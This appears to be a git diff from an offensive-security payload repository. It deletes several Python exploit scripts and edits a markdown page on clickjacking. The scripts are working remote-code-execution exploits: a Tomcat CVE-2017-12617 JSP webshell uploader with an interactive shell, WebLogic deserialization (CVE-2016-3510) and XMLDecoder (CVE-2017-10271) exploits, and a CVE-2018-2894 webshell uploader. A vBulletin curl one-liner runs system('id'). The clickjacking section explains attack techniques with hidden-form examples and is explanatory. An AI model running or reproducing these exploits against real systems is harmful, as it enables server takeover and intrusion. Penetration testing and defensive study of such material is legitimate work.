./cve-2017-12617.py --url http://127.0.0.1
./cve-2017-12617.py -u http://127.0.0.1 -p pwn
./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn
./cve-2017-12617.py -l hotsts.txt
./cve-2017-12617.py --list hosts.txt
"""
from __future__ import print_function
from builtins import input
from builtins import str
from builtins import object
import requests
import re
import signal
from optparse import OptionParser
class bcolors(object):
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
banner="""
_______ ________ ___ ___ __ ______ __ ___ __ __ ______
/ ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ |
| | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / /
| | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / /
| |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / /
\_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/
[@intx0x80]
"""
def signal_handler(signal, frame):
print ("\033[91m"+"\n[-] Exiting"+"\033[0m")
exit()
signal.signal(signal.SIGINT, signal_handler)
def removetags(tags):
remove = re.compile('<.*?>')
txt = re.sub(remove, '\n', tags)
return txt.replace("\n\n\n","\n")
def getContent(url,f):
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
re=requests.get(str(url)+"/"+str(f), headers=headers)
return re.content
def createPayload(url,f):
evil='<% out.println("AAAAAAAAAAAAAAAAAAAAAAAAAAAAA");%>'
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
req=requests.put(str(url)+str(f)+"/",data=evil, headers=headers)
if req.status_code==201:
print("File Created ..")
def RCE(url,f):
EVIL="""<FORM METHOD=GET ACTION='{}'>""".format(f)+"""
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>"""
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
req=requests.put(str(url)+f+"/",data=EVIL, headers=headers)
def shell(url,f):
while True:
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
cmd=input("$ ")
payload={'cmd':cmd}
if cmd=="q" or cmd=="Q":
break
re=requests.get(str(url)+"/"+str(f),params=payload,headers=headers)
re=str(re.content)
t=removetags(re)
print(t)
#print bcolors.HEADER+ banner+bcolors.ENDC
parse=OptionParser(
bcolors.HEADER+"""
_______ ________ ___ ___ __ ______ __ ___ __ __ ______
/ ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ |
| | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / /
| | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / /
| |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / /
\_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/
./cve-2017-12617.py [options]
options:
-u ,--url [::] check target url if it's vulnerable
-p,--pwn [::] generate webshell and upload it
-l,--list [::] hosts list
[+]usage:
./cve-2017-12617.py -u http://127.0.0.1
./cve-2017-12617.py --url http://127.0.0.1
./cve-2017-12617.py -u http://127.0.0.1 -p pwn
./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn
./cve-2017-12617.py -l hotsts.txt
./cve-2017-12617.py --list hosts.txt
[@intx0x80]
"""+bcolors.ENDC
)
parse.add_option("-u","--url",dest="U",type="string",help="Website Url")
parse.add_option("-p","--pwn",dest="P",type="string",help="generate webshell and upload it")
parse.add_option("-l","--list",dest="L",type="string",help="hosts File")
(opt,args)=parse.parse_args()
if opt.U==None and opt.P==None and opt.L==None:
print(parse.usage)
exit(0)
else:
if opt.U!=None and opt.P==None and opt.L==None:
print(bcolors.OKGREEN+banner+bcolors.ENDC)
url=str(opt.U)
checker="Poc.jsp"
print(bcolors.BOLD +"Poc Filename {}".format(checker))
createPayload(str(url)+"/",checker)
con=getContent(str(url)+"/",checker)
if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
print(bcolors.WARNING+url+' it\'s Vulnerable to CVE-2017-12617'+bcolors.ENDC)
print(bcolors.WARNING+url+"/"+checker+bcolors.ENDC)
else:
print('Not Vulnerable to CVE-2017-12617 ')
elif opt.P!=None and opt.U!=None and opt.L==None:
print(bcolors.OKGREEN+banner+bcolors.ENDC)
pwn=str(opt.P)
url=str(opt.U)
print("Uploading Webshell .....")
pwn=pwn+".jsp"
RCE(str(url)+"/",pwn)
shell(str(url),pwn)
elif opt.L!=None and opt.P==None and opt.U==None:
print(bcolors.OKGREEN+banner+bcolors.ENDC)
w=str(opt.L)
f=open(w,"r")
print("Scaning hosts in {}".format(w))
checker="Poc.jsp"
for i in f.readlines():
i=i.strip("\n")
createPayload(str(i)+"/",checker)
con=getContent(str(i)+"/",checker)
if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
print(str(i)+"\033[91m"+" [ Vulnerable ] ""\033[0m")

View File

@@ -1,72 +0,0 @@
#!/usr/bin/env python2
#Oracle WebLogic Server Java Object Deserialization RCE (CVE-2016-3510)
#Based on the PoC by FoxGlove Security (https://github.com/foxglovesec/JavaUnserializeExploits)
#Made with <3 by @byt3bl33d3r
from __future__ import print_function
import socket
import struct
import argparse
import os
import sys
from subprocess import check_output
ysoserial_default_paths = ['./ysoserial.jar', '../ysoserial.jar']
ysoserial_path = None
parser = argparse.ArgumentParser()
parser.add_argument('target', type=str, help='Target IP:PORT')
parser.add_argument('command', type=str, help='Command to run on target')
parser.add_argument('--ysoserial-path', metavar='PATH', type=str, help='Path to ysoserial JAR (default: tries current and previous directory)')
if len(sys.argv) < 2:
parser.print_help()
sys.exit(1)
args = parser.parse_args()
if not args.ysoserial_path:
for path in ysoserial_default_paths:
if os.path.exists(path):
ysoserial_path = path
else:
if os.path.exists(args.ysoserial_path):
ysoserial_path = args.ysoserial_path
if len(args.target.split(':')) != 2:
print('[-] Target must be in format IP:PORT')
sys.exit(1)
if not args.command:
print('[-] You must specify a command to run')
sys.exit(1)
ip, port = args.target.split(':')
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print('[*] Target IP: {}'.format(ip))
print('[*] Target PORT: {}'.format(port))
sock.connect((ip, int(port)))
# Send headers
headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
print('[*] Sending header')
sock.sendall(headers)
data = sock.recv(1024)
print('[*] Received: "{}"'.format(data))
payloadObj = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections1', args.command])
payload = '\x00\x00\x09\xf3\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00'
payload += payloadObj
payload += '\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78'
# adjust header for appropriate message length
payload = "{0}{1}".format(struct.pack('!i', len(payload)), payload[4:])
print('[*] Sending payload')
sock.send(payload)

View File

@@ -1,63 +0,0 @@
from __future__ import print_function
from builtins import input
import requests
import sys
url_in = sys.argv[1]
payload_url = url_in + "/wls-wsat/CoordinatorPortType"
payload_header = {'content-type': 'text/xml'}
def payload_command (command_in):
html_escape_table = {
"&": "&amp;",
'"': "&quot;",
"'": "&apos;",
">": "&gt;",
"<": "&lt;",
}
command_filtered = "<string>"+"".join(html_escape_table.get(c, c) for c in command_in)+"</string>"
payload_1 = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"> \n" \
" <soapenv:Header> " \
" <work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\"> \n" \
" <java version=\"1.8.0_151\" class=\"java.beans.XMLDecoder\"> \n" \
" <void class=\"java.lang.ProcessBuilder\"> \n" \
" <array class=\"java.lang.String\" length=\"3\">" \
" <void index = \"0\"> " \
" <string>cmd</string> " \
" </void> " \
" <void index = \"1\"> " \
" <string>/c</string> " \
" </void> " \
" <void index = \"2\"> " \
+ command_filtered + \
" </void> " \
" </array>" \
" <void method=\"start\"/>" \
" </void>" \
" </java>" \
" </work:WorkContext>" \
" </soapenv:Header>" \
" <soapenv:Body/>" \
"</soapenv:Envelope>"
return payload_1
def do_post(command_in):
result = requests.post(payload_url, payload_command(command_in ),headers = payload_header)
if result.status_code == 500:
print("Command Executed \n")
else:
print("Something Went Wrong \n")
print("***************************************************** \n" \
"**************** Coded By 1337g ****************** \n" \
"* CVE-2017-10271 Blind Remote Command Execute EXP * \n" \
"***************************************************** \n")
while 1:
command_in = input("Eneter your command here: ")
if command_in == "exit" : exit(0)
do_post(command_in)

View File

@@ -1,128 +0,0 @@
#!/usr/bin/env python
# coding:utf-8
# Build By LandGrey
from __future__ import print_function
from builtins import str
import re
import sys
import time
import argparse
import requests
import traceback
import xml.etree.ElementTree as ET
def get_current_work_path(host):
geturl = host + "/ws_utc/resources/setting/options/general"
ua = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0'}
values = []
try:
request = requests.get(geturl)
if request.status_code == 404:
exit("[-] {} don't exists CVE-2018-2894".format(host))
elif "Deploying Application".lower() in request.text.lower():
print("[*] First Deploying Website Please wait a moment ...")
time.sleep(20)
request = requests.get(geturl, headers=ua)
if "</defaultValue>" in request.content:
root = ET.fromstring(request.content)
value = root.find("section").find("options")
for e in value:
for sub in e:
if e.tag == "parameter" and sub.tag == "defaultValue":
values.append(sub.text)
except requests.ConnectionError:
exit("[-] Cannot connect url: {}".format(geturl))
if values:
return values[0]
else:
print("[-] Cannot get current work path\n")
exit(request.content)
def get_new_work_path(host):
origin_work_path = get_current_work_path(host)
works = "/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css"
if "user_projects" in origin_work_path:
if "\\" in origin_work_path:
works = works.replace("/", "\\")
current_work_home = origin_work_path[:origin_work_path.find("user_projects")] + "user_projects\\domains"
dir_len = len(current_work_home.split("\\"))
domain_name = origin_work_path.split("\\")[dir_len]
current_work_home += "\\" + domain_name + works
else:
current_work_home = origin_work_path[:origin_work_path.find("user_projects")] + "user_projects/domains"
dir_len = len(current_work_home.split("/"))
domain_name = origin_work_path.split("/")[dir_len]
current_work_home += "/" + domain_name + works
else:
current_work_home = origin_work_path
print("[*] cannot handle current work home dir: {}".format(origin_work_path))
return current_work_home
def set_new_upload_path(host, path):
data = {
"setting_id": "general",
"BasicConfigOptions.workDir": path,
"BasicConfigOptions.proxyHost": "",
"BasicConfigOptions.proxyPort": "80"}
request = requests.post(host + "/ws_utc/resources/setting/options", data=data, headers=headers)
if "successfully" in request.content:
return True
else:
print("[-] Change New Upload Path failed")
exit(request.content)
def upload_webshell(host, uri):
set_new_upload_path(host, get_new_work_path(host))
files = {
"ks_edit_mode": "false",
"ks_password_front": password,
"ks_password_changed": "true",
"ks_filename": ("360sglab.jsp", upload_content)
}
request = requests.post(host + uri, files=files)
response = request.text
match = re.findall("<id>(.*?)</id>", response)
if match:
tid = match[-1]
shell_path = host + "/ws_utc/css/config/keystore/" + str(tid) + "_360sglab.jsp"
if upload_content in requests.get(shell_path, headers=headers).content:
print("[+] {} exists CVE-2018-2894".format(host))
print("[+] Check URL: {} ".format(shell_path))
else:
print("[-] {} don't exists CVE-2018-2894".format(host))
else:
print("[-] {} don't exists CVE-2018-2894".format(host))
if __name__ == "__main__":
start = time.time()
password = "360sglab"
url = "/ws_utc/resources/setting/keystore"
parser = argparse.ArgumentParser()
parser.add_argument("-t", dest='target', default="http://127.0.0.1:7001", type=str,
help="target, such as: http://example.com:7001")
upload_content = "360sglab test"
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'X-Requested-With': 'XMLHttpRequest', }
if len(sys.argv) == 1:
sys.argv.append('-h')
args = parser.parse_args()
target = args.target
target = target.rstrip('/')
if "://" not in target:
target = "http://" + target
try:
upload_webshell(target, url)
except Exception as e:
print("[-] Error: \n")
traceback.print_exc()

File diff suppressed because one or more lines are too long

View File

@@ -1 +0,0 @@
curl https://example.com/index.php\?routestring\=ajax/render/widget_php --connect-timeout 5 --max-time 15 -s -k --data "widgetConfig[code]=echo system('id');exit;"

View File

@@ -1,45 +1,47 @@
# Clickjacking: Web Application Security Vulnerability # Clickjacking
> Clickjacking is a type of web security vulnerability where a malicious website tricks a user into clicking on something different from what the user perceives, > Clickjacking is a type of web security vulnerability where a malicious website tricks a user into clicking on something different from what the user perceives, potentially causing the user to perform unintended actions without their knowledge or consent. Users are tricked into performing all sorts of unintended actions as such as typing in the password, clicking on Delete my account' button, liking a post, deleting a post, commenting on a blog. In other words all the actions that a normal user can do on a legitimate website can be done using clickjacking.
> potentially causing the user to perform unintended actions without their knowledge or consent. Users are tricked into performing all sorts of unintended actions
> as such as typing in the password, clicking on Delete my account button, liking a post, deleting a post, commenting on a blog. In other words all the actions
> that a normal user can do on a legitimate website can be done using clickjacking.
## Summary ## Summary
* [Tools](#tools) * [Tools](#tools)
* [Methodology](#methodology) * [Methodology](#methodology)
* [UI Redressing](#ui-redressing) * [UI Redressing](#ui-redressing)
* [Invisible Frames](#invisible-frames) * [Invisible Frames](#invisible-frames)
* [Button/Form Hijacking](#buttonform-hijacking) * [Button/Form Hijacking](#buttonform-hijacking)
* [Execution Methods](#execution-methods) * [Execution Methods](#execution-methods)
* [Preventive Measures](#preventive-measures) * [Preventive Measures](#preventive-measures)
* [Implement X-Frame-Options Header](#implement-x-frame-options-header) * [Implement X-Frame-Options Header](#implement-x-frame-options-header)
* [Content Security Policy (CSP)](#content-security-policy-csp) * [Content Security Policy (CSP)](#content-security-policy-csp)
* [Disabling JavaScript](#disabling-javascript) * [Disabling JavaScript](#disabling-javascript)
* [OnBeforeUnload Event](#onbeforeunload-event) * [OnBeforeUnload Event](#onbeforeunload-event)
* [XSS Filter](#xss-filter) * [XSS Filter](#xss-filter)
* [IE8 XSS filter](#ie8-xss-filter) * [IE8 XSS filter](#ie8-xss-filter)
* [Chrome 4.0 XSSAuditor filter](#chrome-40-xssauditor-filter) * [Chrome 4.0 XSSAuditor filter](#chrome-40-xssauditor-filter)
* [Challenge](#challenge) * [Challenge](#challenge)
* [Practice Environments](#practice-environments) * [Labs](#labs)
* [Reference](#references) * [References](#references)
## Tools ## Tools
* [Burp Suite](https://portswigger.net/burp)
* [OWASP ZAP](https://github.com/zaproxy/zaproxy) * [portswigger/burp](https://portswigger.net/burp)
* [Clickjack](https://github.com/machine1337/clickjack) * [zaproxy/zaproxy](https://github.com/zaproxy/zaproxy)
* [machine1337/clickjack](https://github.com/machine1337/clickjack)
## Methodology ## Methodology
### UI Redressing ### UI Redressing
UI Redressing is a Clickjacking technique where an attacker overlays a transparent UI element on top of a legitimate website or application.
The transparent UI element contains malicious content or actions that are visually hidden from the user. By manipulating the transparency and positioning of elements, UI Redressing is a Clickjacking technique where an attacker overlays a transparent UI element on top of a legitimate website or application.
The transparent UI element contains malicious content or actions that are visually hidden from the user. By manipulating the transparency and positioning of elements,
the attacker can trick the user into interacting with the hidden content, believing they are interacting with the visible interface. the attacker can trick the user into interacting with the hidden content, believing they are interacting with the visible interface.
* **How UI Redressing Works:** * **How UI Redressing Works:**
* Overlaying Transparent Element: The attacker creates a transparent HTML element (usually a `<div>`) that covers the entire visible area of a legitimate website. This element is made transparent using CSS properties like `opacity: 0;`. * Overlaying Transparent Element: The attacker creates a transparent HTML element (usually a `<div>`) that covers the entire visible area of a legitimate website. This element is made transparent using CSS properties like `opacity: 0;`.
* Positioning and Layering: By setting the CSS properties such as `position: absolute; top: 0; left: 0;`, the transparent element is positioned to cover the entire viewport. Since it's transparent, the user doesn't see it. * Positioning and Layering: By setting the CSS properties such as `position: absolute; top: 0; left: 0;`, the transparent element is positioned to cover the entire viewport. Since it's transparent, the user doesn't see it.
* Misleading User Interaction: The attacker places deceptive elements within the transparent container, such as fake buttons, links, or forms. These elements perform actions when clicked, but the user is unaware of their presence due to the overlaying transparent UI element. * Misleading User Interaction: The attacker places deceptive elements within the transparent container, such as fake buttons, links, or forms. These elements perform actions when clicked, but the user is unaware of their presence due to the overlaying transparent UI element.
* User Interaction: When the user interacts with the visible interface, they are unknowingly interacting with the hidden elements due to the transparent overlay. This interaction can lead to unintended actions or unauthorized operations. * User Interaction: When the user interacts with the visible interface, they are unknowingly interacting with the hidden elements due to the transparent overlay. This interaction can lead to unintended actions or unauthorized operations.
```html ```html
<div style="opacity: 0; position: absolute; top: 0; left: 0; height: 100%; width: 100%;"> <div style="opacity: 0; position: absolute; top: 0; left: 0; height: 100%; width: 100%;">
<a href="malicious-link">Click me</a> <a href="malicious-link">Click me</a>
@@ -47,116 +49,139 @@ the attacker can trick the user into interacting with the hidden content, believ
``` ```
### Invisible Frames ### Invisible Frames
Invisible Frames is a Clickjacking technique where attackers use hidden iframes to trick users into interacting with content from another website unknowingly.
These iframes are made invisible by setting their dimensions to zero (height: 0; width: 0;) and removing their borders (border: none;). Invisible Frames is a Clickjacking technique where attackers use hidden iframes to trick users into interacting with content from another website unknowingly.
These iframes are made invisible by setting their dimensions to zero (height: 0; width: 0;) and removing their borders (border: none;).
The content inside these invisible frames can be malicious, such as phishing forms, malware downloads, or any other harmful actions. The content inside these invisible frames can be malicious, such as phishing forms, malware downloads, or any other harmful actions.
* **How Invisible Frames Work:** * **How Invisible Frames Work:**
* Hidden IFrame Creation: The attacker includes an `<iframe>` element in a webpage, setting its dimensions to zero and removing its border, making it invisible to the user. * Hidden IFrame Creation: The attacker includes an `<iframe>` element in a webpage, setting its dimensions to zero and removing its border, making it invisible to the user.
```html
<iframe src="malicious-site" style="opacity: 0; height: 0; width: 0; border: none;"></iframe>
```
* Loading Malicious Content: The src attribute of the iframe points to a malicious website or resource controlled by the attacker. This content is loaded silently without the user's knowledge because the iframe is invisible.
* User Interaction: The attacker overlays enticing elements on top of the invisible iframe, making it seem like the user is interacting with the visible interface. For instance, the attacker might position a transparent button over the invisible iframe. When the user clicks the button, they are essentially clicking on the hidden content within the iframe.
* Unintended Actions: Since the user is unaware of the invisible iframe, their interactions can lead to unintended actions, such as submitting forms, clicking on malicious links, or even performing financial transactions without their consent.
```html
<iframe src="malicious-site" style="opacity: 0; height: 0; width: 0; border: none;"></iframe>
```
* Loading Malicious Content: The src attribute of the iframe points to a malicious website or resource controlled by the attacker. This content is loaded silently without the user's knowledge because the iframe is invisible.
* User Interaction: The attacker overlays enticing elements on top of the invisible iframe, making it seem like the user is interacting with the visible interface. For instance, the attacker might position a transparent button over the invisible iframe. When the user clicks the button, they are essentially clicking on the hidden content within the iframe.
* Unintended Actions: Since the user is unaware of the invisible iframe, their interactions can lead to unintended actions, such as submitting forms, clicking on malicious links, or even performing financial transactions without their consent.
### Button/Form Hijacking ### Button/Form Hijacking
Button/Form Hijacking is a Clickjacking technique where attackers trick users into interacting with invisible or hidden buttons/forms, leading to unintended actions on a legitimate website. By overlaying deceptive elements on top of visible buttons or forms, attackers can manipulate user interactions to perform malicious actions without the user's knowledge. Button/Form Hijacking is a Clickjacking technique where attackers trick users into interacting with invisible or hidden buttons/forms, leading to unintended actions on a legitimate website. By overlaying deceptive elements on top of visible buttons or forms, attackers can manipulate user interactions to perform malicious actions without the user's knowledge.
* **How Button/Form Hijacking Works:** * **How Button/Form Hijacking Works:**
* Visible Interface: The attacker presents a visible button or form to the user, encouraging them to click or interact with it. * Visible Interface: The attacker presents a visible button or form to the user, encouraging them to click or interact with it.
```html
<button onclick="submitForm()">Click me</button> ```html
``` <button onclick="submitForm()">Click me</button>
* Invisible Overlay: The attacker overlays this visible button or form with an invisible or transparent element that contains a malicious action, such as submitting a hidden form. ```
* Invisible Overlay: The attacker overlays this visible button or form with an invisible or transparent element that contains a malicious action, such as submitting a hidden form.
```html ```html
<form action="malicious-site" method="POST" id="hidden-form" style="display: none;"> <form action="malicious-site" method="POST" id="hidden-form" style="display: none;">
<!-- Hidden form fields --> <!-- Hidden form fields -->
</form> </form>
``` ```
* Deceptive Interaction: When the user clicks the visible button, they are unknowingly interacting with the hidden form due to the invisible overlay. The form is submitted, potentially causing unauthorized actions or data leakage.
```html * Deceptive Interaction: When the user clicks the visible button, they are unknowingly interacting with the hidden form due to the invisible overlay. The form is submitted, potentially causing unauthorized actions or data leakage.
<button onclick="submitForm()">Click me</button>
<form action="legitimate-site" method="POST" id="hidden-form"> ```html
<!-- Hidden form fields --> <button onclick="submitForm()">Click me</button>
</form> <form action="legitimate-site" method="POST" id="hidden-form">
<script> <!-- Hidden form fields -->
function submitForm() { </form>
document.getElementById('hidden-form').submit(); <script>
} function submitForm() {
</script> document.getElementById('hidden-form').submit();
}
</script>
``` ```
### Execution Methods ### Execution Methods
* Creating Hidden Form: The attacker creates a hidden form containing malicious input fields, targeting a vulnerable action on the victim's website. This form remains invisible to the user. * Creating Hidden Form: The attacker creates a hidden form containing malicious input fields, targeting a vulnerable action on the victim's website. This form remains invisible to the user.
```html ```html
<form action="malicious-site" method="POST" id="hidden-form" style="display: none;"> <form action="malicious-site" method="POST" id="hidden-form" style="display: none;">
<input type="hidden" name="username" value="attacker"> <input type="hidden" name="username" value="attacker">
<input type="hidden" name="action" value="transfer-funds"> <input type="hidden" name="action" value="transfer-funds">
</form> </form>
``` ```
* Overlaying Visible Element: The attacker overlays a visible element (button or form) on their malicious page, encouraging users to interact with it. When the user clicks the visible element, they unknowingly trigger the hidden form's submission. * Overlaying Visible Element: The attacker overlays a visible element (button or form) on their malicious page, encouraging users to interact with it. When the user clicks the visible element, they unknowingly trigger the hidden form's submission.
* Example in javascript:
```js ```js
function submitForm() { function submitForm() {
document.getElementById('hidden-form').submit(); document.getElementById('hidden-form').submit();
} }
``` ```
## Preventive Measures ## Preventive Measures
### Implement X-Frame-Options Header ### Implement X-Frame-Options Header
